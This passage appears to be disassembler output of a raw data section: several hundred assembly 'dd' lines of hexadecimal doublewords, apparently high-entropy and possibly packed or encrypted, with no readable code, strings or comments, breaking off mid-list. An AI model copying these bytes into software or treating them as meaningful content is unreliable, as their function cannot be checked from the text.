178FD66Ah dd 0C88F070Dh, 6D57B1A0h, 0B600F025h, 3AB859BDh, 1BF7C7Eh dd 715D46DDh, 0C0C7BE35h, 8C24293Dh, 26163C24h, 0E9CD2CD0h dd 2807125h, 6C4341B6h, 68411138h, 293E1171h, 0E41F00F2h dd 4000A2FAh, 9387FE73h, 0FA60DEDh, 3D2FCD1Ch, 0C3D52704h dd 691A770Ch, 0C0808CBDh, 3325ACC8h, 76889857h, 0E8DB514Ah dd 5D9C1E04h, 2FB48324h, 1851513Fh, 9A981A7Dh, 406494BEh dd 8A3F2F47h, 8B2C0E07h, 80C8552h, 82061898h, 689670BCh dd 4504DA73h, 0D51D1BC5h, 13898CACh, 6AE7F448h, 0B827825h dd 32FC40F8h, 892D0498h, 0ACDDB83Dh, 692588FCh, 0E441D4CAh dd 28A43154h, 70A5855Ch, 5ABF5CD0h, 14BC4872h, 0C12ADE05h dd 3344C296h, 0D2C0F820h, 5F9D0038h, 5E8E1B7Eh, 0D700AC7Bh dd 78DDBEDEh, 48EA0612h, 0E000989Dh, 0C4432D2Eh, 3900E679h dd 0B9ABBEB0h, 0CC8955h, 67111CF6h, 0DE1B3E9Eh, 24452813h dd 0CA066C00h dd 3C1E333h, 0DC128366h, 2FE38119h, 0AD2B1EC0h, 0BBB4D602h dd 5134097Ch, 0CACC0054h, 0AE56EFB3h, 430D0804h, 3E497BBFh dd 7107B4C4h, 0D6D12018h, 0FDEFE00Fh, 3EAB2FB3h, 0A200159Ch dd 12FE5A5Bh, 9B07A6BDh, 89BA43AEh, 0B449ECh, 22F679DDh dd 18BD6FBBh, 0CCE2BE3Ah, 1031210Ch, 64DDC8E3h, 0C85B221Ch dd 0C4471A8Ch, 213EC729h, 0BF1010EBh, 8B65E2BDh, 0CA03A60h dd 335A2C2Bh, 13AB0B60h, 0CCC044C8h, 8BC418Ah, 5B27E210h dd 5082248h, 62114AD3h, 0C6C0F002h, 3EACC131h, 124C4001h dd 63D2204Fh, 7B00E505h, 0FB893EF6h, 4CDE471Bh, 0DA0AADF1h dd 1F886086h, 0B14D4514h, 2CCF85C7h, 7B01DF60h, 0DA609762h dd 0E4380F3Ah, 0D09F2B87h, 0D2E38178h, 0EB225812h, 20F26C12h dd 2558D3C4h, 8400C4A2h, 0A85A79CAh, 0B9002B57h, 0D6AF7829h dd 0F099E1BDh, 0DB0F112Fh, 0FC205E30h, 127408ECh, 8B750Dh dd 3B8937BCh, 1254A7B8h, 1B79909Ch, 0B85AE724h, 0F360B02Ch dd 14DF1Dh, 557641ABh, 0A372570Eh, 3E0C1097h, 48A7F6FFh dd 87009638h, 5762EBAh, 2209BC1Bh, 933E2D06h, 8DB1A8E8h dd 2A1D26Fh, 0F51229E4h, 14C3EFE2h, 8011D1C1h, 35CFC611h dd 578E26h, 670E2437h, 705216BDh, 4429DE01h, 0DCF0DDA6h dd 77EB8F3h, 4B6A4BB2h, 1064BEE8h, 0B89A4500h, 6EA0D89Fh dd 0ABF20096h, 4C734F7Eh, 8E018538h, 9D34E77Ah, 0FEB817D8h dd 0EC57DF09h, 0A789698Eh, 25587C82h, 70892604h, 2FFBAEE0h dd 989A080Ah, 0F1DC0D0h, 45092913h, 505A11h, 0BCBD88DFh dd 0C7D3D735h, 8B3D7703h, 4437D9h, 331D86D0h, 57056C12h dd 2016C730h, 817B63C9h, 1DC732Eh, 15D6B7B6h, 0F9EC7949h dd 9F2D0043h, 62D05081h, 7B2DB658h, 0BB7011EAh, 27DB7430h dd 0FC4673F9h, 3087B8A0h, 84C8DC5Ch, 8BC295Dh, 1480A720h dd 2E011CDDh, 6FC77EF0h, 31805997h, 0A248D316h, 2E008793h dd 5C0A444h, 8467E0h, 9F75241Dh, 16C56BCCh, 2C0968B0h dd 8946763Ah, 4074D158h, 24A7039Dh, 0F8E1400h, 0BCB73FEh dd 0B618008Dh, 589893F4h, 5B0926ADh, 101C3634h, 0E09027FCh dd 6C942C6Fh, 3C40A550h, 0D31EA41Ah, 8F49769Dh, 79BE8045h dd 5161B79Ah, 0B439EC27h, 0F580BC3Ch, 1EF318FFh, 4B438C6h dd 88494863h, 7DECBC0h, 0CCFE8E0Fh, 5373D051h, 9502FA34h dd 0DD317CE5h, 1165205Ah, 0A4A56AEBh, 146FBA01h, 60201395h dd 879D3852h, 0BC43ED09h, 0BC90F464h, 49EA281Fh, 9823B312h dd 2FE7E13Dh, 83803428h, 84E139F6h, 68137F00h, 0B1E9907Eh dd 12DF004Eh, 0DA708962h, 14BCBB36h, 0E3D10340h, 342407EEh dd 0C02B7CFDh, 104DA27Eh, 0AD70E2C5h, 6AB42881h, 5A8F6F10h dd 0CB48118Ah, 48004873h, 0D69C4E70h, 9976BB07h, 0EDBCC004h dd 0ACA54BB3h, 0B113B830h, 98270FD4h, 1F8CE253h, 65C0B887h dd 84F85351h, 0B2D7004Eh, 89825415h, 6F26DA90h, 1C48D888h dd 0A8334680h, 0F6EBD6h, 3F130C78h, 2B6A30F8h, 77D250A8h dd 0E5003579h, 0FEAA8FFCh, 7668708Eh, 0A2F4A4h, 8B3E3278h dd 5631651Bh, 3DDAF801h, 5137E989h, 0C3C202Eh, 1458E336h dd 4D22DD78h, 8510F087h, 2919621Dh, 8BE460B2h, 918714BFh dd 0A789801Bh, 9694C099h, 0FC883AE0h, 91900BDh, 0ECE6747Dh dd 25096F28h, 0D0B57252h, 315CB2D4h, 0FEC1320h, 8E4441C7h dd 0DA69D03Dh, 18913814h, 60C06938h, 0B44117h, 0B1EC1917h dd 4783BF8Fh, 780F1300h, 97F5BC8Bh, 2DDD00C7h, 45A9314Ah dd 0B9F8189Dh, 0DB12A303h, 0C0BA42C2h, 24293D2Eh, 0B8033Bh dd 52E17E56h, 674C1774h, 0D90C8230h, 44D4C6CDh, 0CEDF2D0Fh dd 0EBABD400h, 5AFEE73h, 0A7B1AA9Ch, 43C4C0B8h, 889161BEh dd 3D75C782h, 0F120C044h, 0C2B20016h, 3A784A4Dh, 0DD28BB35h dd 10B00C29h, 9A34EA16h, 12A6250Bh, 29305440h, 5ACE4020h dd 0BF006CCBh, 0E3748EB7h, 88A45Dh, 0DCB135A6h, 0DF0F1E2Fh dd 9664EA50h, 3EE638h, 0A7BD546Ch, 387758A3h, 78F11FCh dd 0A260D88Dh, 0DD4C6582h, 0EAB87C00h, 23459225h, 0E72E00B3h dd 8BD79A2Bh, 0E8743161h, 2F50BE14h, 18142EA8h, 0D0895484h dd 0EB1724C0h, 1B298E02h, 3EF8A5h, 0A9D9724Ah, 25650998h dd 68E04232h, 5205A3E1h, 0C20F3530h, 8D80E4E3h, 17024A6Eh dd 36E3D000h, 5A3335Eh, 97C3000Eh, 85CB61CEh, 0D8021E12h dd 872946DDh, 24AC7286h, 0F343574h, 5A22E73Fh, 40E424B9h dd 0E6E2C024h, 0D8274200h, 123F481Bh, 0D1BA43BBh, 800F8668h dd 0C2B3FD49h, 39E4152Ah, 7080CE36h, 2EE1822Bh, 0B1003893h dd 68A111DDh, 11DA246h, 0D2DC05D3h, 0E07165A5h, 11C5062Bh dd 141379DDh, 0C3629830h, 0AEBE076Eh, 411924B3h, 0F31A20CEh dd 6687ACA1h, 0E3350CC4h, 54363904h, 723B44Eh, 2C5F5009h dd 0FD8920CDh, 0ED00419Dh, 336A71B4h, 25F1B1E3h, 7C6077DDh dd 3401F6BCh, 1D98558Bh, 0EC7088CEh, 0B9BD1C01h, 284399D9h dd 83884111h, 25960113h, 542079C9h, 0A73A4135h, 59C01020h dd 277CB00Fh, 0A06156DDh, 0C0F872DAh, 3B58DE16h, 0EA2919AEh dd 8BD4939h, 0D9D70196h, 442176FAh, 69204238h, 20700C27h dd 3AEE174h, 9D9533C6h, 938BD28Dh, 28E53BE1h, 60884B64h dd 45740051h, 0AC1D7BAFh, 4100D740h, 0A8FF772Ah, 980CD035h dd 0D6EB0058h, 0A488A68Dh, 1E1487B3h, 22B8DD19h, 43BF0C40h dd 0EBA99CBBh, 64BACB04h, 0B480B661h, 1B2198Bh, 27913F58h dd 0F7120DF1h, 1FC2ABABh, 20C8088Ah, 9488E814h, 99F19A4h dd 809878B7h, 0BB17E0F8h, 0E84C005Eh, 3547C05Dh, 292E91AAh dd 490CA7h, 140ED6B4h, 0BE3802EBh, 529DD088h, 5B7F83DDh dd 2AE0CF66h, 0B8241E05h, 0C58D5AF4h, 35F4C250h, 27054071h dd 0A08865B4h, 0C5CF0445h, 9D5AEB2Fh, 898AF8F0h, 7E590601h dd 87BB66FDh, 32D7D88Bh, 31C2BF8Fh, 2FC17D82h, 8480202Fh dd 46BF712h, 0DF378800h, 1DBE3DBBh, 47DDD16h, 0D0336749h dd 95EB2BE4h, 4D04D2Fh, 3E22B1E4h, 2040445Eh, 1EEC4593h dd 0C002BE3Ah, 666A48D6h, 0A8017259h, 6928745Fh, 9040B2A1h dd 94E0D0D7h, 38A0C958h, 1AC25F22h, 0B17CBE48h, 6F001007h dd 0B8A47D96h, 901E3534h, 51808CB9h, 675BD0C0h, 81167D00h dd 0AA0386A6h, 517B0EAh, 0AFCCFBB2h, 486CB876h, 0E90C470h dd 10A4A885h, 0B3E02455h, 95C1089Ch, 0CA88718h, 0B4040086h dd 0B136D615h, 98916389h, 0B22C4500h, 0E6E73322h, 12993857h dd 6A96DF0Eh, 0B8C68209h, 11200900h, 0C08CCB4Ch, 0E202000Eh dd 0F28F10A3h, 5D097CECh, 650D4DEh, 0E963C8h, 9803E76Fh dd 0B14C1AC4h, 0F4ACF896h, 0E2AEA560h, 0B99D0001h, 7EDABE4Ah dd 0C891422Fh, 61787A03h, 9DB13D9Eh, 4931C79Fh, 40C4C40Fh dd 60E02C00h, 0C6ECA56h, 2D7271B2h, 34447ADDh, 18C60F2Eh dd 0EADC6140h, 0A570F8h, 3D3C1EE6h, 6F6C8F26h, 412D7E32h dd 780009DFh, 54B13B8Ch, 0D6669804h, 8FCA743h, 50428F88h dd 0E46CA051h, 0F2381h, 0ADBF7EAAh, 0FD2878E0h, 6109F090h dd 0B3A065h, 37423CFCh, 57690A08h, 2808A3B8h, 2E1480FCh dd 0A44E0031h, 0A2C2301Bh, 3600DD8Eh, 282B3B5Fh, 1E51A87h dd 8BDFB4D5h, 33BC43BDh, 0CC4E25ACh, 3B7A4030h, 395A2922h dd 0AABD4990h, 112851A4h, 3B24425Bh, 7450DC91h, 443D9B24h dd 0CC022100h, 0DD4904h dd 0A881A467h, 0B5CBE56Eh, 0BBB82703h, 90A0B1BCh, 5B6D6BC5h dd 878CC565h, 0C197755Ch, 0D1476640h, 0F8D201Bh, 123820D0h dd 3C27926Fh, 85AC9h, 29A5505Eh, 17BC47FAh, 34248700h dd 73905F10h, 8AB913C1h, 3A94F412h, 91A0B827h, 62021A04h dd 0DC08080Ah, 0F0F79438h, 42EB5305h, 8FC24BBh, 8A4760F4h dd 0B424BE48h, 0B1134E70h, 27838F8h, 0DE37E58Dh, 2D7197Dh dd 9804095Ah, 44BF4B06h, 0F97100C8h, 6B9395F7h, 88003885h dd 6E7BF0F1h, 25E6E419h, 8C03D97h, 3A03DD31h, 817A75A9h dd 994D9077h, 0D48900A7h, 1156E939h, 0E3168425h, 18D258D1h dd 0E48C792Fh, 0A0D70C53h, 42E2016Fh, 61050BAh, 0F811FBC7h dd 540E5D9Eh, 490D6F7h, 8F1A119Fh, 24880985h, 0D1346025h dd 0A4E58E2Ah, 6D5FBF00h, 0A51E0724h, 1B870F3h, 0E61FE941h dd 0A8B1BB36h, 9C7AD4A0h, 3F12B488h, 0E6271474h, 0F7BB0E4h dd 37288600h, 41BCE555h, 0A56C93D4h, 7252EC80h, 0CC07AE03h dd 0AFEBB455h, 96FBEEA0h, 2F120044h, 0FCBCA405h, 3803241Dh dd 2B567632h, 1FCCC00Dh, 73EC0027h, 24422CDDh, 9D13072Dh dd 8801B32Fh, 3921F6Dh, 58B043E8h, 22DE2C42h, 0B467FA03h dd 0D82ABCD5h, 4011776h, 0C55F4207h, 80B234h, 52F90D03h dd 0F61DA77h, 6983F6Eh, 96209A8Ch, 0DB52707Ch, 347609D4h dd 59CC0982h, 0CD72400Ch, 85007148h, 12FBC8E1h, 5EE74C82h dd 9024282Bh, 50801D48h, 4225B154h, 40E0B472h, 892DBB9h dd 98801095h, 0AC1300B7h, 516D8C2Eh, 54008EB6h, 77A756BBh dd 0E3650Eh, 4232C01Ah, 1D18C540h, 8022D05Eh, 5021978h dd 0B22170F6h, 0E8487963h, 1FAD16E4h, 2439517Bh, 60BC13D4h dd 0C9B69AF0h, 2FC5AA40h, 0A06E42D2h, 0BC6D9041h, 0AF299A00h dd 4C1F9F0Fh, 0C0CAB84Ah, 0BA81C71Eh, 1C02EC58h, 4736670h dd 545B4C61h, 73B48D58h, 983B223Ch, 9789514Ch, 11E80D7Bh dd 0BFC4C94h, 41BDED1Eh, 6EEF1B80h, 627BC2Ah, 0F338714h dd 5C2A69C5h, 20004C81h, 294191CFh, 126C97BCh, 0E11A5DD0h dd 82403894h, 0E4688B93h, 407FF5D4h, 0E22474A8h, 19030891h dd 2BDAADB5h, 694B90A2h, 234202FFh, 0D488E39Ah, 0BC4E7C54h dd 48276207h, 0DD918C23h, 74390805h, 0A0C020B8h, 816F78E9h dd 0C0189C03h, 4A686DBBh, 54582020h, 0ED0F7E16h, 8084B95Fh dd 0A01FB730h, 0B8E2178Dh, 35B46178h, 70207EE5h, 0EB3B1BAh dd 112213B4h, 62B98AC0h, 855E5372h, 73149420h, 3430010Dh dd 9FAB0FDCh, 0D5D07048h, 0D2116C43h, 48911114h, 0DC682527h dd 0E01E9238h, 67476005h, 71F1E50Bh, 0EEE824EFh, 0FFBCBA97h dd 8730702Ah, 5600A8B3h, 0B9CD2A1Bh, 0B385B1Ah, 1125BC4Ch dd 540058FAh, 1F08FC62h, 5F0F3DEAh, 0EF2C22C2h, 9C66BE11h dd 0B23C985Bh, 4845F94Fh, 84CCC00Fh, 78AA071Dh, 614E8C32h dd 8EBB9DCBh, 40E62E10h, 5D02DDF7h, 0E4217FAh, 72C088B4h dd 0A9ACF03h, 0B8082EFCh, 0C758D5h, 0E63525EFh, 7729F61Ch dd 0D2C83C59h, 19F08E07h, 0B7178D40h, 81C2019Ch, 33E06652h dd 25EC3CA5h, 220098B3h, 0A1BC1604h, 0F8F8646Eh, 503A8000h dd 3D66FDh, 0C26CE18Ch, 0DA750972h, 258A790Bh, 0C034C188h dd 0B1DC0820h, 0E0F8ACDCh, 0F3D23D91h, 1055F6E1h, 3D9B0D74h dd 0ED01AC28h, 275A7B12h, 7E0623Eh, 0DE30E588h, 8D06458h dd 0C3861E72h, 6C1FAA22h, 9EEF2100h, 67049446h, 0F22C7AD5h dd 288004Fh, 249719A8h, 0B150BD84h, 0BF768D84h, 111D912Dh dd 400CDD94h, 343CBE81h, 0CE2E6D80h, 0F40006DEh, 6FD66497h dd 97800ADFh, 0A462ECBAh, 0BEF01876h, 716548BAh, 1616BD3Fh dd 4F016C3h, 0AB80113Ah, 8627D409h, 0F2597A70h, 13E03036h dd 9854BFA1h, 0A0FD4B25h, 0E9B250B0h, 27A4F7Dh, 1061BA0Ch dd 1D019CEEh, 0D93DC52Ch, 85F0BDB1h, 0B3402471h, 722500BCh dd 27976A2Dh, 48CB551h, 148C1008h, 0C0CF9C4Ch, 0E207D9C0h dd 4D2C3B3Ah, 0F1037035h, 16D5A8Dh, 49371350h, 495DF7Ch dd 0B78081Ah, 0E5FC0914h, 0D8278B18h, 0DA582CC0h, 0A090D65Bh dd 178F1D76h, 1EEB4396h, 0C2C08B5Ch, 3E02A8F2h, 3D17130Fh dd 246429h, 6F7380E0h, 0EAFB4D01h, 0AB2FDAE6h, 52C58C6h dd 9BE723Dh, 642082E8h, 0C01D5059h, 3D861322h, 6190D8B1h dd 0DDE80419h, 8BC08708h, 61DFE0Ah, 3D7A713Ch, 664550EBh dd 35EE403h, 1D87BC51h, 8EE5592Ah, 0C4F29790h, 1F6F3101h dd 2B94F4C8h, 0BF4C4830h, 2A9C0073h, 534AFCB4h, 0B83EA780h dd 279B82F8h, 56C2C7B1h, 4DD5924h, 89484ADh, 1587728h dd 796280A7h, 6B3644FFh, 0C78A3840h, 0A36D82h, 5F2F5AC2h dd 5D69857Dh, 8B483DE6h, 3E302574h, 0DDB438FCh, 0BC898E01h dd 8B8D6F2Fh, 0C9BD1F29h, 68198474h, 81BC80A8h, 9D20FA8Eh dd 5B00A5D8h, 28A2D03Dh, 98F2693h, 1E91BCBFh, 0D6F6CC10h dd 0C5DF44A3h, 917CC88Fh, 0B6F2917h, 0BF0B309Ah, 0FC1821C7h dd 6F3A11D4h, 44B80738h, 6BE130Dh, 0E028BE3Dh, 0F04B7BDFh dd 876B25B6h, 255B9046h, 0C29168D0h, 0AFEE3DD2h, 35A78185h dd 8074ECE8h, 0F686C4Ch, 88324EC6h, 0C891480h, 0A6D0213Eh dd 0B943E495h, 96C02D5Ch, 38D04001h, 0BC01B8EDh, 5606C5Dh dd 0B2C98466h, 2FCE38A0h, 504496E6h, 3C108B7Bh, 0D500C946h dd 306A71F3h, 0DC909D49h, 1111F061h, 35708007h, 4C6FF81Ch dd 851648E7h, 39B089E5h, 610E803Ch, 79BE292h, 0E84E3DC1h dd 4D32F0F4h, 0C91CA2A6h, 43017B52h, 3B9EEBEFh, 31468A40h dd 408664B5h, 8318FC0Bh, 0C3E083FBh, 78D3872Eh, 0F192F83Eh dd 9AC107D1h, 60DE1DACh, 0B30AF065h, 0A006872Eh, 84DA6060h dd 973E1656h, 0A7340B45h, 0FFE15C8Fh, 68B5AEBCh, 12B980DCh dd 0EEBB71Ch, 2A0A3FBFh, 37286300h, 0CF0376DFh, 62BB49Fh dd 0E54F897h, 1B910127h, 98E9055Fh, 5E71F0A7h, 18BB0230h dd 1489C8F7h, 9095D855h, 5060B211h, 0CC071784h, 79DDB105h dd 0F976A5B0h, 8DCB1445h, 0B58B086Fh, 1B9788F1h, 2117EC72h dd 0F071A767h, 9D3EC149h, 0C21196EBh, 40101442h, 4454FA1Bh dd 7C91295Dh, 40B45CC9h, 0A035CCD5h, 0AD7BC900h, 5EC49FE4h dd 1300BA46h, 0E6985618h, 0E5517C6Ch, 858FE848h, 89D41E00h dd 42E46F87h, 44CCB622h, 0DE274093h, 0A065D11h, 0C89D9641h dd 698F0080h, 4925D4B1h, 5F1FDD00h, 978ACF02h, 101E1639h dd 30380063h, 27C8D9C1h, 54B9AB02h, 0D379E736h, 5059A5F0h dd 3A605200h, 0E3E5DCh, 3C9FEC89h, 0BAC95D8Bh, 6F8E181Eh dd 10401F5Ah, 9F0AE9BCh, 49F8843Bh, 0D67F7EFAh, 12BEDB27h dd 0C7405908h, 0B1E040DCh, 29D65825h, 169D74F4h, 4884F9D8h dd 0BA975F10h, 4EA08B0h, 0BB214625h, 8070A880h, 8DFE5408h dd 0CEAB00C2h, 428FC0D4h, 0FC248973h, 0DE507CA9h, 8CD4EE6Ah dd 84D31C00h, 2C2FB56Dh, 955B0EB6h, 0A7A0B81Eh, 918127BCh dd 261F1372h, 8E422B3Fh, 56B8ADC7h, 0EB804FF4h, 3DABB734h dd 5BE0A9A3h, 0A018584h, 8C8114AFh, 6C2046DAh, 334413B9h dd 51440182h, 7CB79888h, 50D318ACh, 0A211DD11h, 0FCD914h dd 0D6E9ED94h, 8F390852h, 7E890166h, 203DA12Ah, 88973479h dd 25049A40h, 7BD94BC0h, 0B08E9085h, 0E02DB513h, 0C0941E5Ch dd 0E3ECAE80h, 0BF45D5h, 1352A1EDh, 0B96E1D93h, 3378F804h dd 0C0C8DF0Fh, 0D23D4B84h dd 0C4295214h, 3ABF7F44h, 3200DE49h, 0CCDEA7Bh, 10012CDFh dd 43C35577h, 6AE264BCh, 0B06604h, 0D306161Eh, 659C7275h dd 5D5A30Bh, 0C1148E27h, 3664F3A4h, 1FA7C020h, 0C01C67A0h dd 0B1329110h, 0D40411E2h, 17433D87h, 0B8810CE8h, 772F50BBh dd 514C4C40h, 0DB33F098h, 6A28EF79h, 5F0EC440h, 0DF948613h dd 642D267Bh, 2B80700h, 7A7A4DCh, 0DB7A2C83h, 0B41FC020h dd 2F09454Bh, 54BBB5D0h, 0F66182FCh, 0BCDC6314h, 40F0514Bh dd 9C0E4A73h, 0D100D37Bh, 0E8BE3E72h, 0B9956F18h, 4093A708h dd 3D35BE98h, 5086C701h, 0BD8E7C44h, 0A858386Dh, 7270DD28h dd 25390065h, 4385688Fh, 0E67E0DC4h, 1704B048h, 0C0CC458Ch dd 9847CC1h, 50BD4633h, 8E384018h, 2898780Fh, 92E040EBh dd 25F767E1h, 8D3C223h, 2F06423Ch, 0F95FB62Eh, 4232C509h dd 4B40946h, 28AE4E69h, 0C1079C9Ch, 0FE537C7h, 870FBE58h dd 18E61ACBh, 0C89C11AEh, 0ED0AF540h, 4A3C1C7Bh, 5490565Eh dd 1DC7FCDCh, 49F0E047h, 94988D27h, 9DB00880h, 0C0F2464Ah dd 0CC7C6100h, 365A1CE9h, 2BA4C16h, 5800AC89h, 1C160B1h dd 75DD0C22h, 0F8B7D289h, 5A009A7Fh, 8F55690Dh, 9770C71Eh dd 0CE4544C0h, 0DD0EC600h, 0E4066529h, 4AE57936h, 9ADC23C7h dd 7B381CF1h, 796CB04Ch, 0C90D6085h, 91ABDACh, 8728D601h dd 80433769h, 2C2349D1h, 91EA0075h, 0B2520534h, 85502278h dd 0A00949DDh, 45F6CAFEh, 0D6229048h, 0FA1FC8C2h, 0F0E90028h dd 0D1FDC1A3h, 0EB2A86DFh, 0EF0138D3h, 0E17CB392h, 0AAD42489h dd 0A3D8017Fh, 2B3272D9h, 0D30C393Eh, 18EC8C12h, 0FA889209h dd 0E279287Ah, 6F8F9804h, 0C8C4D9Eh, 0FAB78864h, 4A96AB00h dd 6248C55h, 0A7BD1416h, 0C7E648Ah, 11D5DA40h, 2D001E11h dd 0BCB9753Ah, 7BDC316Bh, 709F0541h, 0C9068CBDh, 295DDCF8h dd 3CA03872h, 0D51CE445h, 0C2C36927h, 0A00259D6h, 98BD6577h dd 6890BDB2h, 0BE0B10ABh, 805FBF13h, 962C1EDCh, 28EF032h dd 0C422B7B8h, 8879DE0Fh, 0EB5AD381h, 86166DCh, 0FEE34E41h dd 11980A3Bh, 1A102608h, 0E842295Bh, 0F020CC51h, 75776B07h dd 0B1608DA3h, 0A6D48889h, 81090384h, 86B22B45h, 6D39DC80h dd 1E43689Eh, 7584C0A2h, 0F8BF5BAEh, 656400E7h, 0D8619136h dd 0D7BD1DC8h, 0E81F8EB6h, 0F410298Bh, 40002E68h, 6341C7AAh dd 97BB43EBh, 0D0F1642Bh, 0BEB0C000h, 2D67B2Ch, 708BE642h dd 62572EDAh, 4FB45245h, 58342261h, 0E600A72Ah, 0EBECCC35h dd 89BD14C6h, 1E81D4DBh, 2A7AB232h, 30ABA464h, 68829ACh dd 3C60FD00h, 0A79DB909h, 9F571EBDh, 114585FEh, 50748022h dd 0C5FA8538h, 0BE357E00h, 0BB3D868Ch, 5B0C74C7h, 1E8820D3h dd 0A1009FF4h, 7245F927h, 48C2D498h, 102F9B7Ah, 8CB090E4h dd 80201645h, 3A868938h, 0A7A4D8h, 37B54884h, 0B82E1160h dd 0B408DC50h, 3438C702h, 8ECBC60Fh, 0B8D03220h, 9027DA4Ah dd 0C75A0026h, 65F78755h, 0AB76E234h, 4312D3F4h, 801709BAh dd 3220949Ch, 3920CB5Ah, 800C5129h, 0D21A5071h, 0AF036886h dd 0F09A1E82h, 0E236A05Ah, 0BF49C7A6h, 0E38C61BCh, 947CEA43h dd 7090B141h, 0C9BF2470h, 905EBCE9h, 0D821FA41h, 3C8170h dd 4C3133E3h, 645D236Bh, 938EA491h, 6E400043h, 19BAB197h dd 0B0759FE3h, 7C00150Ah, 0CF48A05h, 426B17B6h, 18E2B1h dd 54157A1Ch, 3ED868h, 0B4A77E5Bh, 0F9FD491h, 0A8A0D929h dd 4443253Dh, 4E24000Ch, 50ADEE10h, 0A500C6C8h, 0CA1863F9h dd 98BCB13Fh, 0A44400E0h, 85986536h, 0D4021D84h, 0E4E12D2Eh dd 111C60C5h, 63B1122Fh, 6FD408BBh, 5E4C10A7h, 0EDB405E2h dd 80CAB57Eh, 0D389F5BEh, 568D1A00h, 3B24DE26h, 60D60098h dd 5CAF4A46h, 7E5F3679h, 4092B404h, 0F1988D52h, 0B861A088h dd 0E5A65601h, 0FE5A9803h, 246E9C42h, 2150F895h, 7AE64335h dd 8008A8C5h, 4E17A02Dh, 33B400DFh, 2A7EF9AFh, 530064ECh dd 22BE5F5Dh, 7AB1204Dh, 9B860B8Ah, 64F0F829h, 3808D351h dd 86088BD4h, 52A5D1D6h, 2925E4C6h, 0DCE01C48h, 0A94639h dd 0C4A1533h, 12E3C935h, 0E27DE8E6h, 5D720008h, 878249BEh dd 18419D96h, 84A11069h, 0AF3000BFh, 0B05DF8BAh, 38023615h dd 0D79C81AAh, 9154D2DDh, 6B038064h, 0E367F950h, 0F17CBC7Ch dd 0DC149Dh, 0CEF832D9h, 4F17DD11h, 0D4874B00h, 9280311Dh dd 8C510010h, 67A4E96Eh, 0D1004DCDh, 0C985A7B4h, 7708FD2h dd 0D7358ABEh, 5885CBC7h, 90DAA9h, 62333AD4h, 3CAF3BB4h dd 0DD8FEAB8h, 6C005936h, 0E52003A8h, 3AC7D10Ah, 98C9E442h dd 2AC90h, 0E1A89C49h, 65F8E6E8h, 0F8D62529h, 27913000h dd 38E49B9Dh, 8B0B8E66h, 5087980Dh, 597DE0D8h, 9F0779DFh dd 0BB2E0827h, 0BBA2FA0h, 0BF951271h, 0B47004B5h, 0BE3E4160h dd 406068BDh, 215B4B2Fh, 0F4CADEC8h, 2B003332h, 0EB58F9BBh dd 4E0094Ch, 8B9AA624h, 825CE8C1h, 5D1AE76Fh, 0C1B4D098h dd 0AC0075FEh, 453A5553h, 1713D3Bh, 0DF35943Eh, 2F87BDC7h dd 31BB5CC4h, 84692DCh, 600F883Ch, 22F4F712h, 29C260ECh dd 207CD1B0h, 0E0A02592h, 2C988CB9h, 34BC7444h, 0E836DF9Ch dd 9ACA80DCh, 0DAEC3Ah, 97CFF0F1h, 7E570682h, 0C48CB14Ah dd 0EC414F96h, 0B05F3875h, 546FBCA7h, 1D910773h, 0D0401B94h dd 3DD1AD2Dh, 0C1973A00h, 723467DDh, 46F4E557h, 0C449FB5h dd 0D005A400h, 76A342EFh, 0E619E68Fh, 719E6060h, 0B1BB219Dh dd 48889C0Bh, 31C66DAh, 0FA3E354h, 0A1011ED8h, 19962D2Fh dd 40C58BBFh, 1BC184Ch, 0BD71D72Bh, 202ED088h, 24EEBCAh dd 4E4360E4h, 893C88B8h, 91A75E86h, 15123970h, 150048B2h dd 1C30C8Eh, 0B307BDA9h, 42568C13h, 23E0F5B0h, 4AE428EFh dd 4C9B03F5h, 85E2BD58h, 9EB2B822h, 91226300h, 0D10081B4h dd 54080527h, 8C2FBE66h, 0D05A3C18h, 110798C4h, 6D06B0A6h dd 969C770Ch, 2E305F00h, 0E493F0A4h, 60716490h, 10294281h dd 0A082C72h, 45790F00h, 0FBBCD6F2h, 0C0840074h, 8D2B4836h dd 0D70C378h, 0DC535D19h, 0EC146548h, 0E0CB32D4h, 57C204A4h dd 16984C8h, 0BC7E1A3Bh, 602345C6h, 0F7008395h, 6FDAE588h dd 0B03F5A0Fh, 5FF622D4h, 4500BA7Ch, 599CBDCEh, 2536536Ch dd 0F4E4E7E1h, 0CAC844h, 5E63962Fh, 0BD882B14h, 0FEE2EB00h dd 2AE42436h, 0F6CFF028h, 8014B186h, 445ADE3Fh, 0D100EE6Ch dd 59278BFAh, 2326D49h, 78E9232Eh, 0F8F46E99h, 5B302240h dd 371C0092h, 7A4417B6h, 4300E2B0h, 4EF8D36h, 0FC39EB5Dh dd 0D92D2987h, 17A73DD8h, 0E48238D3h, 0E68FB610h, 0C0962660h dd 72990056h, 0C5AD5764h, 45493025h, 0EFED0048h, 7FDCC190h dd 3DDEBC00h, 2AD1983Ch, 291E0208h, 0B9A6C683h, 4E804871h dd 0E84467F2h, 0B85501BEh, 0B16B5AA7h, 0DC84CA27h, 69E60CFEh dd 0EA54B822h, 0B1770063h, 0DF378789h, 0AF079AA9h, 1D0E2B45h dd 75F12C90h, 7DDD0F09h, 2E0F2510h, 0DA689160h, 0F62EB65Ch dd 9E1C393Ch, 0B314F444h, 27C2B4F8h, 3066BC4Ch, 0BC882924h dd 1A6C3149h, 0E9A0207Ah, 0C23AB155h, 3EFD80D8h, 43178F0Bh dd 206B4BBEh, 0BA553B2Ch, 31FAF4Ch, 25BDD0EBh, 7F15F0B3h dd 7E17E67h, 4DAF78D3h, 79CE1397h, 7D5A33A0h, 1707BEFEh dd 0F61F6389h, 94453683h, 988B40B0h, 4AF00C3h, 0D33DAB61h dd 0CF9F8A54h, 1274BEE4h dd 0D1EB3629h, 2AC60C5Ch, 27005C8Ah, 1B623BEEh, 0AD2753D4h dd 0EB8D06Eh, 0EB6D1231h, 0F8EC273Dh, 3A1389F8h, 0E902654Dh dd 7D6621E1h, 5E2E4B0h, 0D4561416h, 41DBB030h, 262017Eh dd 546EB56Ah, 0F4082B92h, 0B444EB46h, 0FC783200h, 8859AFBBh dd 1D7300C7h, 0E817854Eh, 0AC095CC8h, 0FE53E913h, 0B43F6018h dd 3D0C17C7h, 19C3144Eh, 8BA01327h, 43D07158h, 14283AB5h dd 8B4700EAh, 0F423191Ah, 0FF740348h, 99DDE91Fh, 6CBC7EB4h dd 0D23CB1D3h, 5CE23522h, 0ABE144F8h, 32DDB431h, 7809A70h dd 40BFCCABh, 0B0FA6634h, 6D3D2F00h, 6942E1DCh, 4AFC61h dd 22399C99h, 0F43B7872h, 0E6D56A1Fh, 